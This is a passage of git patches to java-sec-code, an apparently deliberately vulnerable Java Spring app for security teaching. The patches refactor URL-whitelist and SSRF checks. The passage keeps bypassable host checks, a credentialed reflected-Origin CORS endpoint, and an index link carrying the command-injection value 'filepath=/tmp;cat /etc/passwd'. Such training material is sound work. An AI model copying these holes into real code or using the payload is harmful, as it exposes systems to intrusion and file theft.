+        cookie.setMaxAge(-1); // forever time
+        response.addCookie(cookie);
+    }
 }
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index c4b04dc5..b4d3c2f0 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,12 +1,11 @@
 package org.joychou.controller;
 
 
+import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.*;
 
-import java.net.URI;
-import java.net.URL;
 import java.util.ArrayList;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -32,9 +31,9 @@ public class URLWhiteList {
      * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
      */
     @GetMapping("/vuln/endsWith")
-    public String endsWith(@RequestParam("url") String url) throws Exception {
-        URL u = new URL(url);
-        String host = u.getHost().toLowerCase();
+    public String endsWith(@RequestParam("url") String url) {
+
+        String host = SecurityUtil.gethost(url);
 
         for (String domain : domainwhitelist) {
             if (host.endsWith(domain)) {
@@ -52,9 +51,9 @@ public String endsWith(@RequestParam("url") String url) throws Exception {
      * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
      */
     @GetMapping("/vuln/contains")
-    public String contains(@RequestParam("url") String url) throws Exception {
-        URL u = new URL(url);
-        String host = u.getHost().toLowerCase();
+    public String contains(@RequestParam("url") String url) {
+
+        String host = SecurityUtil.gethost(url);
 
         for (String domain : domainwhitelist) {
             if (host.contains(domain)) {
@@ -70,12 +69,12 @@ public String contains(@RequestParam("url") String url) throws Exception {
      * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
      */
     @GetMapping("/vuln/regex")
-    public String regex(@RequestParam("url") String url) throws Exception {
-        URL u = new URL(url);
-        String host = u.getHost().toLowerCase();
+    public String regex(@RequestParam("url") String url) {
 
+        String host = SecurityUtil.gethost(url);
         Pattern p = Pattern.compile("joychou\\.org$");
         Matcher m = p.matcher(host);
+
         if (m.find()) {
             return "Good url.";
         } else {
@@ -93,16 +92,15 @@ public String regex(@RequestParam("url") String url) throws Exception {
      * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
      */
     @GetMapping("/vuln/url_bypass")
-    public String url_bypass(String url) throws Exception {
+    public String url_bypass(String url) {
 
         logger.info("url:  " + url);
-        URL u = new URL(url);
 
-        if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
+        if (!SecurityUtil.isHttp(url)) {
             return "Url is not http or https";
         }
 
-        String host = u.getHost().toLowerCase();
+        String host = SecurityUtil.gethost(url);
         logger.info("host:  " + host);
 
         // endsWith .
@@ -121,16 +119,15 @@ public String url_bypass(String url) throws Exception {
      * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
      */
     @GetMapping("/sec/endswith")
-    public String sec_endswith(@RequestParam("url") String url) throws Exception {
+    public String sec_endswith(@RequestParam("url") String url) {
 
         String whiteDomainlists[] = {"joychou.org", "joychou.com"};
 
-        URI uri = new URI(url); // 必须用URI
-        if (!url.startsWith("http://") && !url.startsWith("https://")) {
+        if (!SecurityUtil.isHttp(url)) {
             return "SecurityUtil is not http or https";
         }
 
-        String host = uri.getHost().toLowerCase();
+        String host = SecurityUtil.gethost(url);
 
         // endsWith .
         for (String domain : whiteDomainlists) {
@@ -147,14 +144,14 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception {
      * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
      */
     @GetMapping("/sec/multi_level_host")
-    public String sec_multi_level_host(@RequestParam("url") String url) throws Exception {
+    public String sec_multi_level_host(@RequestParam("url") String url) {
         String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
 
-        URI uri = new URI(url);
-        if (!url.startsWith("http://") && !url.startsWith("https://")) {
+        if (!SecurityUtil.isHttp(url)) {
             return "SecurityUtil is not http or https";
         }
-        String host = uri.getHost().toLowerCase();
+
+        String host = SecurityUtil.gethost(url);
 
         // equals
         for (String domain : whiteDomainlists) {
@@ -171,19 +168,19 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep
      * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
      */
     @GetMapping("/sec/array_indexOf")
-    public String sec_array_indexOf(@RequestParam("url") String url) throws Exception {
+    public String sec_array_indexOf(@RequestParam("url") String url) {
 
         // Define muti-level host whitelist.
         ArrayList<String> whiteDomainlists = new ArrayList<>();
         whiteDomainlists.add("bbb.joychou.org");
         whiteDomainlists.add("ccc.bbb.joychou.org");
 
-        URI uri = new URI(url);
-
-        if (!url.startsWith("http://") && !url.startsWith("https://")) {
+        if (!SecurityUtil.isHttp(url)) {
             return "SecurityUtil is not http or https";
         }
-        String host = uri.getHost().toLowerCase();
+
+        String host = SecurityUtil.gethost(url);
+
         if (whiteDomainlists.indexOf(host) != -1) {
             return "Good url.";
         }
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index f9a4c7fc..931a5688 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -41,7 +41,7 @@ public class XXE {
     private static Logger logger = LoggerFactory.getLogger(XXE.class);
     private static String EXCEPT = "xxe except";
 
-    @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST)
+    @PostMapping("/xmlReader/vuln")
     public String xmlReaderVuln(HttpServletRequest request) {
         try {
             String body = WebUtils.getRequestBody(request);
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 0b383f5d..ee962846 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -9,6 +9,7 @@
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
 import java.net.URI;
+import java.net.URISyntaxException;
 import java.net.URLDecoder;
 import java.util.ArrayList;
 import java.util.regex.Pattern;
@@ -19,6 +20,34 @@ public class SecurityUtil {
     private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
     private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
 
+
+    /**
+     * Determine if the URL starts with HTTP.
+     *
+     * @param url url
+     * @return true or false
+     */
+    public static boolean isHttp(String url) {
+        return url.startsWith("http://") || url.startsWith("https://");
+    }
+
+
+    /**
+     * Get http url host.
+     *
+     * @param url url
+     * @return host
+     */
+    public static String gethost(String url) {
+        try {
+            URI uri = new URI(url);
+            return uri.getHost().toLowerCase();
+        } catch (URISyntaxException e) {
+            return "";
+        }
+    }
+
+
     /**
      * 同时支持一级域名和多级域名，相关配置在resources目录下url/url_safe_domain.xml文件。
      * 优先判断黑名单，如果满足黑名单return null。
@@ -36,11 +65,10 @@ public static String checkURL(String url) {
         ArrayList<String> blockDomains = WebConfig.getBlockDomains();
 
         try {
-            URI uri = new URI(url);
-            String host = uri.getHost().toLowerCase();
+            String host = gethost(url);
 
             // 必须http/https
-            if (!url.startsWith("http://") && !url.startsWith("https://")) {
+            if (!isHttp(url)) {
                 return null;
             }
 
@@ -66,7 +94,7 @@ public static String checkURL(String url) {
                 }
             }
             return null;
-        } catch (Exception e) {
+        } catch (NullPointerException e) {
             logger.error(e.toString());
             return null;
         }
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 3860cad9..4ef0f046 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -9,6 +9,7 @@
 import org.apache.commons.lang.StringUtils;
 import org.apache.commons.net.util.SubnetUtils;
 import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
@@ -24,11 +25,10 @@ public static boolean checkURLFckSSRF(String url) {
 
         ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
         try {
-            URI uri = new URI(url);
-            String host = uri.getHost().toLowerCase();
+            String host = SecurityUtil.gethost(url);
 
             // 必须http/https
-            if (!url.startsWith("http://") && !url.startsWith("https://")) {
+            if (!SecurityUtil.isHttp(url)) {
                 return false;
             }
 
@@ -170,16 +170,13 @@ private static String url2host(String url) {
         try {
             // 使用URI，而非URL，防止被绕过。
             URI u = new URI(url);
-            if (!url.startsWith("http://") && !url.startsWith("https://")) {
-                return "";
+            if (SecurityUtil.isHttp(url)) {
+                return u.getHost();
             }
-
-            return u.getHost();
-
+            return "";
         } catch (Exception e) {
             return "";
         }
-
     }
 
 }
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
index de244134..799ca0e5 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -57,12 +57,7 @@ static void initSocketImpl(Class<?> initSocketImpl) {
             SocketHookFactory.setHook(false);
             throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
         }
-
-//        try {
-//            initSocketImpl = Class.forName("java.net.SocketImpl");
-//        } catch (ClassNotFoundException e) {
-//            System.out.println(e.getMessage());
-//        }
+        
         if (!isInit) {
             createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class<?>[]{boolean.class});
             connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{String.class, int.class});
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 37eeb69a..571680a2 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -9,6 +9,9 @@
 import org.apache.http.client.methods.HttpGet;
 import org.apache.http.impl.client.CloseableHttpClient;
 import org.apache.http.impl.client.HttpClients;
+import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
+import org.apache.http.impl.nio.client.HttpAsyncClients;
+import org.apache.http.util.EntityUtils;
 import org.jsoup.Jsoup;
 import org.jsoup.nodes.Document;
 import org.slf4j.Logger;
@@ -22,6 +25,7 @@
 import java.net.URI;
 import java.net.URL;
 import java.net.URLConnection;
+import java.util.concurrent.*;
 
 /**
  * @author JoyChou 2020-04-06
@@ -30,14 +34,6 @@ public class HttpUtils {
 
     private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
 
-
-    /**
-     * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
-     * UserAgent is <code>Jakarta Commons-HttpClient/3.1</code>. Last publish at 2007.08.
-     *
-     * @param url http request url
-     * @return response
-     */
     public static String commonHttpClient(String url) {
 
         HttpClient client = new HttpClient();
@@ -138,13 +134,10 @@ public static String HTTPURLConnection(String url) {
      */
     public static String Jsoup(String url) {
         try {
-            String useragent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " +
-                    "Chrome/64.0.3282.167 Safari/537.36";
             Document doc = Jsoup.connect(url)
-                    .userAgent(useragent)
+                    //.followRedirects(false)
                     .timeout(3000)
                     .cookie("name", "joychou") // request cookies
-                    //.followRedirects(false)
                     .execute().parse();
             return doc.outerHtml();
         } catch (IOException e) {
@@ -186,4 +179,25 @@ public static void IOUtils(String url) {
     }
 
 
+    public static String HttpAsyncClients(String url) {
+        CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
+        try {
+            httpclient.start();
+            final HttpGet request = new HttpGet(url);
+            Future<HttpResponse> future = httpclient.execute(request, null);
+            HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
+            return EntityUtils.toString(response.getEntity());
+        } catch (Exception e) {
+            return e.getMessage();
+        } finally {
+            try {
+                httpclient.close();
+            } catch (Exception e) {
+                logger.error(e.getMessage());
+            }
+        }
+
+    }
+
+
 }
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 8b72592e..c9934946 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -26,7 +26,7 @@ joychou.security.referer.uri = /jsonp/**
 # csrf token check
 joychou.security.csrf.enabled = true
 # URI without CSRF check (only support ANT url format)
-joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**
+joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**
 # method for CSRF check
 joychou.security.csrf.method = POST
 ### csrf configuration ends ###
@@ -36,4 +36,7 @@ joychou.security.csrf.method = POST
 # referer check
 joychou.security.jsonp.referer.check.enabled = true
 joychou.security.jsonp.callback = callback, _callback
-### jsonp configuration ends ###
\ No newline at end of file
+### jsonp configuration ends ###
+
+
+swagger.enable = true
\ No newline at end of file

From ab69c0b60c6746476a9c7be3172867000b8fefa2 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Mon, 3 Aug 2020 17:17:33 +0800
Subject: [PATCH 19/38] bug fix

---
 README.md                                             |  1 +
 pom.xml                                               |  2 +-
 .../java/org/joychou/config/SafeDomainParser.java     | 11 +++++------
 src/main/java/org/joychou/controller/SSRF.java        |  7 +------
 .../java/org/joychou/controller/URLWhiteList.java     |  7 +++++--
 .../org/joychou/security/CsrfAccessDeniedHandler.java |  7 +++----
 .../java/org/joychou/security/ssrf/SSRFChecker.java   |  2 +-
 src/main/java/org/joychou/util/HttpUtils.java         | 10 ++++++++--
 src/main/resources/templates/index.html               |  1 +
 9 files changed, 26 insertions(+), 22 deletions(-)

diff --git a/README.md b/README.md
index 2c0a0bc8..56d10960 100644
--- a/README.md
+++ b/README.md
@@ -40,6 +40,7 @@ Sort by letter.
 - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
 - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
 - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
 - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
 - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
 - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
diff --git a/pom.xml b/pom.xml
index 6e5c2455..2b273bad 100644
--- a/pom.xml
+++ b/pom.xml
@@ -7,7 +7,7 @@
     <groupId>sec</groupId>
     <artifactId>java-sec-code</artifactId>
     <version>1.0.0</version>
-    <packaging>war</packaging>
+    <packaging>jar</packaging>
 
     <properties>
         <maven.compiler.source>1.8</maven.compiler.source> <!-- mvn clean package-->
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
index 6157f645..b92ff9eb 100644
--- a/src/main/java/org/joychou/config/SafeDomainParser.java
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -29,11 +29,9 @@ public SafeDomainParser() {
         try {
             // 读取resources目录下的文件
             ClassPathResource resource = new ClassPathResource(safeDomainClassPath);
-            File file = resource.getFile();
-
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             DocumentBuilder db = dbf.newDocumentBuilder();
-            Document doc = db.parse(file);  // parse xml
+            Document doc = db.parse(resource.getInputStream());  // parse xml
 
             NodeList rootNode = doc.getElementsByTagName(rootTag);  // 解析根节点domains
             Node domainsNode = rootNode.item(0);
@@ -68,6 +66,7 @@ public SafeDomainParser() {
 
         WebConfig wc = new WebConfig();
         wc.setSafeDomains(safeDomains);
+        logger.info(safeDomains.toString());
         wc.setBlockDomains(blockDomains);
 
         // 解析SSRF配置
@@ -86,11 +85,10 @@ public SafeDomainParser() {
         try {
             // 读取resources目录下的文件
             ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath);
-            File file = resource.getFile();
-
             DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
             DocumentBuilder db = dbf.newDocumentBuilder();
-            Document doc = db.parse(file);  // parse xml
+            // 修复打包成jar包运行，不能读取文件的bug
+            Document doc = db.parse(resource.getInputStream());  // parse xml
 
             NodeList rootNode = doc.getElementsByTagName(ssrfRootTag);  // 解析根节点
             Node domainsNode = rootNode.item(0);
@@ -130,6 +128,7 @@ public SafeDomainParser() {
             logger.error(e.toString());
         }
 
+        logger.info(ssrfBlockIps.toString());
         wc.setSsrfBlockDomains(ssrfBlockDomains);
         wc.setSsrfBlockIps(ssrfBlockIps);
         wc.setSsrfSafeDomains(ssrfSafeDomains);
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index a98c9952..9fdf757f 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -150,23 +150,18 @@ public String ImageIO(@RequestParam String url) {
     }
 
 
-    /**
-     * The default setting of followRedirects is true.
-     * UserAgent is <code>okhttp/2.5.0</code>.
-     */
     @GetMapping("/okhttp/sec")
     public String okhttp(@RequestParam String url) {
 
         try {
             SecurityUtil.startSSRFHook();
-            HttpUtils.okhttp(url);
+            return HttpUtils.okhttp(url);
         } catch (SSRFException | IOException e) {
             return e.getMessage();
         } finally {
             SecurityUtil.stopSSRFHook();
         }
 
-        return "okhttp ssrf test";
     }
 
 
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index b4d3c2f0..e6f9b987 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -6,6 +6,8 @@
 import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.*;
 
+import java.net.MalformedURLException;
+import java.net.URL;
 import java.util.ArrayList;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -92,7 +94,7 @@ public String regex(@RequestParam("url") String url) {
      * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
      */
     @GetMapping("/vuln/url_bypass")
-    public String url_bypass(String url) {
+    public String url_bypass(String url) throws MalformedURLException {
 
         logger.info("url:  " + url);
 
@@ -100,7 +102,8 @@ public String url_bypass(String url) {
             return "Url is not http or https";
         }
 
-        String host = SecurityUtil.gethost(url);
+        URL u = new URL(url);
+        String host = u.getHost();
         logger.info("host:  " + host);
 
         // endsWith .
diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
index ba9c3f7f..2e1df795 100644
--- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
+++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
@@ -7,15 +7,14 @@
 import org.springframework.security.access.AccessDeniedException;
 import org.springframework.security.web.access.AccessDeniedHandler;
 
-
-import javax.servlet.ServletException;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 
 /**
- * Design csrf access denied page.
+ * Csrf access denied page.
  *
+ * @author JoyChou
  */
 public class CsrfAccessDeniedHandler implements AccessDeniedHandler {
 
@@ -23,7 +22,7 @@ public class CsrfAccessDeniedHandler implements AccessDeniedHandler {
 
     @Override
     public void handle(HttpServletRequest request, HttpServletResponse response,
-                       AccessDeniedException accessDeniedException) throws IOException, ServletException {
+                       AccessDeniedException accessDeniedException) throws IOException {
 
         logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" +
                 "Referer: " + request.getHeader("referer"));
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 4ef0f046..01b1b350 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -50,7 +50,7 @@ public static boolean checkURLFckSSRF(String url) {
     /**
      * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。
      * url只允许https或者http，并且设置默认连接超时时间。
-     * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后，进行判断，代码待续…
+     * 该修复方案会主动请求重定向后的链接。
      *
      * @param url        check的url
      * @param checkTimes 设置重定向检测的最大次数，建议设置为10次
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 571680a2..1f92cfb9 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -146,10 +146,16 @@ public static String Jsoup(String url) {
     }
 
 
-    public static void okhttp(String url) throws IOException {
+    /**
+     * The default setting of followRedirects is true. The option of followRedirects is true.
+     *
+     * UserAgent is <code>okhttp/2.5.0</code>.
+     */
+    public static String okhttp(String url) throws IOException {
         OkHttpClient client = new OkHttpClient();
+        // client.setFollowRedirects(false);
         com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
-        client.newCall(ok_http).execute();
+        return client.newCall(ok_http).execute().body().string();
     }
 
 
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 671045d5..72779b8e 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -8,6 +8,7 @@
     <p>Hello <span th:text="${user}"></span>.</p>
     <p>Welcome to login java-sec-code application. <a th:href="@{/appInfo}">Application Infomation</a></p>
     <p>
+        <a th:href="@{/swagger-ui.html}">Swagger</a>&nbsp;&nbsp;
         <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
         <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
         <a th:href="@{/file/pic}">FileUpload</a>&nbsp;&nbsp;

From 30dd98b81a6795f7f577ae0f2fde56680404395b Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Mon, 3 Aug 2020 17:49:12 +0800
Subject: [PATCH 20/38] fixes #23

---
 src/main/resources/templates/login.html | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
index dc6ee40f..1a4c4225 100644
--- a/src/main/resources/templates/login.html
+++ b/src/main/resources/templates/login.html
@@ -8,7 +8,7 @@
     <meta name="_csrf_headerName" th:content="${_csrf.headerName}" />
     <meta name="_csrf_parameterName" th:content="${_csrf.parameterName}" />
     <link rel="stylesheet" th:href="@{/css/login.css}" type="text/css" />
-    <script th:src="@{https://code.jquery.com/jquery-3.4.1.min.js}"></script>
+    <script th:src="@{https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js}"></script>
 
     <script>
         window.csrfToken = {

From 37925a8501e258cbd78cd760ed33d134bbd6e574 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 5 Feb 2021 17:29:35 +0800
Subject: [PATCH 21/38] add fastjsonp

---
 pom.xml                                       |  9 ++++
 .../java/org/joychou/config/Constants.java    |  1 +
 .../org/joychou/config/CsrfTokenBean.java     | 18 ++++++++
 .../org/joychou/config/CustomCorsConfig.java  |  2 +-
 .../{security => config}/Object2Jsonp.java    | 16 ++++---
 .../java/org/joychou/controller/Cookies.java  |  4 ++
 .../java/org/joychou/controller/Cors.java     |  4 +-
 .../java/org/joychou/controller/Jsonp.java    | 37 ++++++++++++++--
 .../java/org/joychou/controller/SSRF.java     |  3 ++
 .../java/org/joychou/controller/SpEL.java     |  2 +-
 .../org/joychou/controller/URLWhiteList.java  | 43 +++++--------------
 .../java/org/joychou/filter/ReferFilter.java  |  2 +-
 .../joychou/security/CustomCorsProcessor.java |  7 +--
 src/main/java/org/joychou/util/HttpUtils.java |  5 ++-
 14 files changed, 100 insertions(+), 53 deletions(-)
 create mode 100644 src/main/java/org/joychou/config/CsrfTokenBean.java
 rename src/main/java/org/joychou/{security => config}/Object2Jsonp.java (85%)

diff --git a/pom.xml b/pom.xml
index 2b273bad..6f8f3990 100644
--- a/pom.xml
+++ b/pom.xml
@@ -248,6 +248,15 @@
             <version>2.9.2</version>
         </dependency>
 
+        <!-- https://mvnrepository.com/artifact/org.projectlombok/lombok -->
+        <dependency>
+            <groupId>org.projectlombok</groupId>
+            <artifactId>lombok</artifactId>
+            <version>1.18.16</version>
+            <scope>provided</scope>
+        </dependency>
+
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java
index ef6ee45e..041f4f80 100644
--- a/src/main/java/org/joychou/config/Constants.java
+++ b/src/main/java/org/joychou/config/Constants.java
@@ -6,4 +6,5 @@ private Constants() {
     }
 
     public static final String REMEMBER_ME_COOKIE = "rememberMe";
+    public static final String ERROR_PAGE = "https://test.joychou.org/error1.html";
 }
diff --git a/src/main/java/org/joychou/config/CsrfTokenBean.java b/src/main/java/org/joychou/config/CsrfTokenBean.java
new file mode 100644
index 00000000..b0698e12
--- /dev/null
+++ b/src/main/java/org/joychou/config/CsrfTokenBean.java
@@ -0,0 +1,18 @@
+package org.joychou.config;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
+
+/**
+ * Reference: https://docs.spring.io/spring-security/site/docs/5.0.x/reference/html/csrf.html
+ */
+
+@Configuration
+public class CsrfTokenBean {
+
+    @Bean
+    public CookieCsrfTokenRepository cookieCsrfTokenRepository() {
+        return CookieCsrfTokenRepository.withHttpOnlyFalse();
+    }
+}
diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java
index 8b80e664..47d3acea 100644
--- a/src/main/java/org/joychou/config/CustomCorsConfig.java
+++ b/src/main/java/org/joychou/config/CustomCorsConfig.java
@@ -38,7 +38,7 @@ public RequestMappingHandlerMapping getRequestMappingHandlerMapping() {
 
 
     /**
-     * 自定义Cors处理器
+     * 自定义Cors处理器，重写了checkOrigin
      * 自定义校验origin，支持一级域名校验 && 多级域名
      */
     private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping {
diff --git a/src/main/java/org/joychou/security/Object2Jsonp.java b/src/main/java/org/joychou/config/Object2Jsonp.java
similarity index 85%
rename from src/main/java/org/joychou/security/Object2Jsonp.java
rename to src/main/java/org/joychou/config/Object2Jsonp.java
index 6432616b..64d68205 100644
--- a/src/main/java/org/joychou/security/Object2Jsonp.java
+++ b/src/main/java/org/joychou/config/Object2Jsonp.java
@@ -1,7 +1,7 @@
-package org.joychou.security;
+package org.joychou.config;
 
 import org.apache.commons.lang.StringUtils;
-import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.beans.factory.annotation.Value;
@@ -19,6 +19,7 @@
 import javax.servlet.http.HttpServletResponse;
 
 
+
 /**
  * <code>AbstractJsonpResponseBodyAdvice</code> will be removed as of Spring Framework 5.1, use CORS instead.
  * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
@@ -47,7 +48,8 @@ protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaT
         HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
 
         String realJsonpFunc = getRealJsonpFunc(request);
-        if (StringUtils.isNotBlank(realJsonpFunc)){
+        // 如果url带callback，且校验不安全后
+        if ( StringUtils.isNotBlank(realJsonpFunc) ) {
             jsonpReferHandler(request, response);
         }
         super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
@@ -84,9 +86,11 @@ private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse r
         if (SecurityUtil.checkURL(refer) == null ){
             logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
             try{
-                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
-                response.getWriter().write("forbidden");
-                response.flushBuffer();
+                // 使用response.getWriter().write后，后续写入jsonp后还会继续使用response.getWriteer()，导致报错
+//                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+//                response.getWriter().write(" Referer check error.");
+//                response.flushBuffer();
+                response.sendRedirect(Constants.ERROR_PAGE);
             } catch (Exception e){
                 logger.error(e.toString());
             }
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
index f62efb2d..6f0c7be2 100644
--- a/src/main/java/org/joychou/controller/Cookies.java
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -12,6 +12,10 @@
 
 import static org.springframework.web.util.WebUtils.getCookie;
 
+
+/**
+ * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id，导致越权问题。
+ */
 @RestController
 @RequestMapping("/cookie")
 public class Cookies {
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index 870e809f..5b7d9741 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -25,8 +25,8 @@ public class Cors {
     @GetMapping("/vuln/origin")
     public String vuls1(HttpServletRequest request, HttpServletResponse response) {
         String origin = request.getHeader("origin");
-        response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
-        response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
+        response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
